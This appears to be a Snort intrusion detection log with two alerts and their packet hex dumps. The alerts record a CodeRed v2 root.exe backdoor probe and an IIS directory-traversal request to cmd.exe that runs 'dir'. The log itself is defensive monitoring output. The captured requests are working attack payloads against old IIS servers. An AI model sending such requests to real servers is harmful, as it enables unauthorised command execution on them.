[**] WEB-IIS CodeRed v2 root.exe access [**]
11/12-20:01:48.001355 2xx.xxx.xxx.xxx:1938 -> 2xx.xxx.xxx.xxx:80
TCP TTL:124 TOS:0x0 ID:35568 IpLen:20 DgmLen:112 DF
***AP*** Seq:0x2B6B5193  Ack:0x4C224974  Win:0x4470  TcpLen:20
47 45 54 20 2F 73 63 72 69 70 74 73 2F 72 6F 6F  GET /scripts/roo
74 2E 65 78 65 3F 2F 63 2B 64 69 72 20 48 54 54  t.exe?/c+dir HTT
50 2F 31 2E 30 0D 0A 48 6F 73 74 3A 20 77 77 77  P/1.0..Host: www
0D 0A 43 6F 6E 6E 6E 65 63 74 69 6F 6E 3A 20 63  ..Connnection: c
6C 6F 73 65 0D 0A 0D 0A                          lose....
 =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
 [**] WEB-IIS cmd.exe access [**]
11/12-20:01:48.298328 2xx.xxx.xxx.xxx:1959 -> 2xx.xxx.xxx.xxx:80
TCP TTL:124 TOS:0x0 ID:35675 IpLen:20 DgmLen:136 DF
***AP*** Seq:0x2B7D2C78  Ack:0x4C101BB5  Win:0x4470  TcpLen:20
47 45 54 20 2F 73 63 72 69 70 74 73 2F 2E 2E 25  GET /scripts/..%
32 66 2E 2E 2F 77 69 6E 6E 74 2F 73 79 73 74 65  2f../winnt/syste
6D 33 32 2F 63 6D 64 2E 65 78 65 3F 2F 63 2B 64  m32/cmd.exe?/c+d
69 72 20 72 20 48 54 54 50 2F 31 2E 30 0D 0A 48  ir r HTTP/1.0..H
6F 73 74 3A 20 77 77 77 0D 0A 43 6F 6E 6E 6E 65  ost: www..Connne 63 74 69 6F 6E 3A 20 63 6C 6F 73 65 0D 0A        
ction: close..  =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+